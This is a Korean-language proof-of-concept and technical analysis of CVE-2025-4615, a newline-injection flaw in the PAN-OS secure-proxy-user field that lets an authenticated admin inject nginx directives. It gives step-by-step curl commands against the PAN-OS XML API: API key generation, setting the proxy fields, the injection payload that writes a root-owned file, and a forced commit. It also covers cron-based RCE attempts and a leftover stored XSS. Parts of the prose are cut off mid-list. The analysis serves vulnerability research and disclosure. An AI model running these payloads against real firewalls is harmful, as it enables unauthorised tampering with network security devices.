
cve-2025-4615 poc & deep dive
취약점: PAN-OS 관리 웹 인터페이스의 입력 부적절한 중화 (Improper Neutralization of Input)
벤더 권고: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (중간) — 무결성 높음, 가용성 높음
CWE: CWE-83 (웹 페이지 속성의 스크립트 부적절한 중화)
CAPEC: CAPEC-165 (파일 조작)
크레딧: Visa Inc.
분석 날짜: 2026-03-26
CVE-2025-4615는 Palo Alto Networks PAN-OS의 secure-proxy-user 구성 필드에 있는 개행 문자 삽입 취약점입니다. 인증된 관리자는 XML API 또는 웹 인터페이스를 통해 프록시 사용자 이름에 개행 문자(\n)를 삽입할 수 있습니다. 커밋 중에 이 값은 정화되지 않은 상태로 /etc/nginx/nginx.conf에 기록되어 주석 라인을 벗어나 임의의 nginx 지시문을 주입합니다.
영향:
access_log 지시문을 통해 루트 권한으로 임의의 파일 생성/쓰기참고: 벤더의 수정(개행 문자 제거)은 불완전합니다. 출력 인코딩이나 문자 허용 목록이 적용되지 않아 동일한 필드가 **저장형 교차 사이트 스크립팅(XSS)**에 취약한 상태로 남아 있습니다.
secure-proxy-user 필드는 PAN-OS 스키마(schema.xml)에서 입력 정화 없이 일반 문자열로 정의됩니다:
<element name="secure-proxy-user" optional="yes" type="string"
help-string="Secure Proxy user name to use"/>
참고: secure-proxy-server에는 정규식 제약(regex="^([0-9a-zA-Z.:/_-])+$")이 있지만, secure-proxy-user에는 없습니다. 31자 길이 제한이 있지만 문자 제한은 없습니다.
커밋 중에 PAN-OS는 템플릿(/etc/nginx/nginx.conf.tmpl)에서 /etc/nginx/nginx.conf를 다시 생성합니다. 템플릿에는 다음이 포함됩니다:
#pan_proxy_comment %s
%s 플레이스홀더는 프록시 서버, 사용자 이름, 암호화된 비밀번호를 단일 문자열로 연결하는 libpanmp_mp.so 라이브러리 함수에 의해 채워집니다. 취약한 버전에서는 사용자 이름의 개행 문자가 그대로 전달됩니다.
secure-proxy-user에 a\naccess_log /tmp/pwn3;\n#이 포함되면 생성된 nginx.conf는 다음과 같습니다:
#pan_proxy_comment 8.8.8.9 a — Comment (harmless)
access_log /tmp/pwn3; — INJECTED DIRECTIVE (executed by nginx!)
# -AQ==encrypted_password== — Password commented out by injected #
1행은 주석입니다. 2행은 http 블록 수준의 유효한 nginx 지시문입니다. 3행은 공격자의 # 문자에 의해 무력화됩니다.
nginx 마스터 프로세스는 루트로 실행됩니다. access_log 지시문은 nginx가 대상 파일을 루트로 열거나 생성하게 합니다. 이를 통해 다음이 가능합니다:
수정된 버전(11.1.13)에서는 구성 작성기가 nginx.conf에 쓰기 전에 프록시 사용자 이름에서 개행 문자를 제거합니다. 동일한 악성 값이 생성하는 결과:
#pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==
모든 것이 # 주석 내에서 안전하게 한 줄에 유지됩니다.
그러나 이 수정은 불완전합니다. 개행 주입만 해결합니다. secure-proxy-user 필드는 여전히 출력 인코딩 없이 임의의 문자(", <, > 포함)를 허용하므로 저장형 XSS 벡터가 그대로 열려 있습니다. unit-43-xss를 참조하십시오.
secure-proxy-server (프록시 주석이 나타나기 위해 필요)curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Total: 26 characters (within 31-char limit)
# Injects: access_log /tmp/pwn3; — creates /tmp/pwn3 as root
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"
커밋이 완료된 후(약 30초):
/tmp/pwn3이 루트 소유권으로 생성됨nginx -t -c /etc/nginx/nginx.conf가 syntax is ok를 보고함정화되지 않은 secure-proxy-user 값이 여러 파일로 전파됩니다:
curlrc (/root/.curlrc) 및 wgetrc (/root/.wgetrc) 작성기는 취약한 버전에서도 개행 문자를 제거합니다. nginx.conf 작성기가 유일하게 정화하지 않은 경로였습니다.
11가지 공격 벡터에 대한 광범위한 테스트에서 nginx 1.20.1을 사용하는 PAN-OS 11.1.6-h7에서 CVE-2025-4615만으로는 독립적인 OS 수준 RCE를 달성할 수 없음을 확인했습니다. 세 가지 중요한 차단 요인:
\x0A 이스케이프 — 로그 파일에 원시 개행 삽입을 방지하여 vixie-cron이 쓰레기 라인을 허용함에도 불구하고 cron 삽입을 차단합니다(실험실 확인: cron은 쓰레기로 둘러싸인 유효한 라인을 실행합니다).log_format + access_log를 결합하여 기록된 파일에 대한 내용 제어를 얻는 것을 방지합니다.권고의 '임의 명령 실행'은 OS 수준 명령 실행이 아닌 임의의 nginx 지시문을 가리킬 가능성이 높습니다. 이는 CVSS VC:N(기밀성 영향 없음) 및 수정 사항의 성격과 일치합니다.
세 가지 차단 요인 중 하나라도 없었다면, cron 삽입을 통해 RCE가 쉽게 달성 가능했을 것입니다.
PAN-OS 11.1.6-h7(취약) 및 PAN-OS 11.1.13(수정)을 사용하여 격리된 실험실 환경에서 분석이 수행되었습니다.
| 파일 | 영향 |
|---|
/etc/nginx/nginx.conf | 심각 — nginx 지시문 주입 |
/opt/pancfg/tmp/.tdb_conf.xml | 템플릿 DB 구성 (XML 삽입) |
/opt/pancfg/mgmt/audit/cfg-audit.xml,v | 감사 추적 손상 |
/opt/pancfg/mgmt/replaydb/replay.db | 재생 데이터베이스 손상 |
| XSL 생성 데몬 구성 (authd, cord, useridd 등) | 개행이 포함된 XML 값 유지 |